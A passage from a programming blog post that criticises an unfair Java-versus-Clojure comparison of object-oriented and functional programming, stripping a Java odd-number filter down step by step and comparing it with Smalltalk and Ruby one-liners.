public List filterOdds(List list) {
    List filteredList = new ArrayList();
    for (Integer current : list) {
        if (isOdd(current)) {
            filteredList.add(current);
        }
    }
    return filteredList;
}
private boolean isOdd(Integer integer) {
    return 0 != integer % 2;
}

Now functional version (Clojure):

(filter odd? list-of-ints)

After this comparison the author states: “The functional version is obviously much shorter than the object-oriented version.”. Well let’s all just go and do functional programming then!

Not so fast. The object-oriented example has a lot of clutter that has nothing to do with Object-oriented Programming, they are just due to Java or in part due to a somewhat unfair comparison. Let’s walk through the code and remove the clutter to make a better comparison.

Types

The sample features a lot of type information – that has nothing to do with OOP vs. FP, there are also functional languages that have types, although a lot of them handle them better than Java. Let’s Remove them:

public filterOdds(list) {
    filteredList = [];
    for (current : list) {
        if (isOdd(current)) {
            filteredList.add(current);
        }
    }
    return filteredList;
}
private isOdd(integer) {
    return 0 != integer % 2;
}

isOdd method

The Java sample defines a private isOdd method to check if a number is odd. This has nothing to do with OOP, it’s just a detail that Java does not implement an isOdd method themselves. There might also be functional languages out there, that doesn’t have it built in like Clojure. So let’s remove that as well:

public filterOdds(list) {
    filteredList = [];
    for (current : list) {
        if (isOdd(current)) {
            filteredList.add(current);
        }
    }
    return filteredList;
}

 

Method definition

The Clojure version does not define a method while the Java version defines a method. So let’s remove that method definition from the Java code. I also omit the return statement, because the result is now saved in the filteredList, which can be used for further computation.

filteredList = [];
for (current : list) {
    if (isOdd(current)) {
        filteredList.add(current);
    }
}

Be careful with your comparisons

Compare the final code sample with what we started out with. It’s half the lines of code and much more concise. I stripped off parts of the code that I believe have nothing to do with the argument at hand, but are rather details of Java. I still like the Clojure sample better and I’d also prefer coding Clojure over Java any day of the week. That’s not the point.

The point is that one should be diligent to make examples for comparisons stick to the topic at hand. And in the book the topic was FP vs. OOP – not Java vs. Clojure.

On a final note, a lot of cool mainly object-oriented languages have features akin to these of functional programming. Often in the shape of blocks. Let’s take a look at Smalltalk, the language that is often credited with introducing Object-oriented Programming. Let’s implement our little code sample there (I used GNU Smalltalk, which implements Smalltalk-80, the “original”):

ints select: [:i | i odd]

That’s short and sweet! Now, just for kicks, let’s do ruby, which is mainly object-oriented, but well luckily has these functional features:

ints.select &:odd?

Just saying, be careful with your examples. These two (mainly) object-oriented languages do just as well as Clojure here.

Last but not least, let it be duly noted, that yes the Clojure result is lazy and immutable, but then again that’s not the point here, although both are col features 😉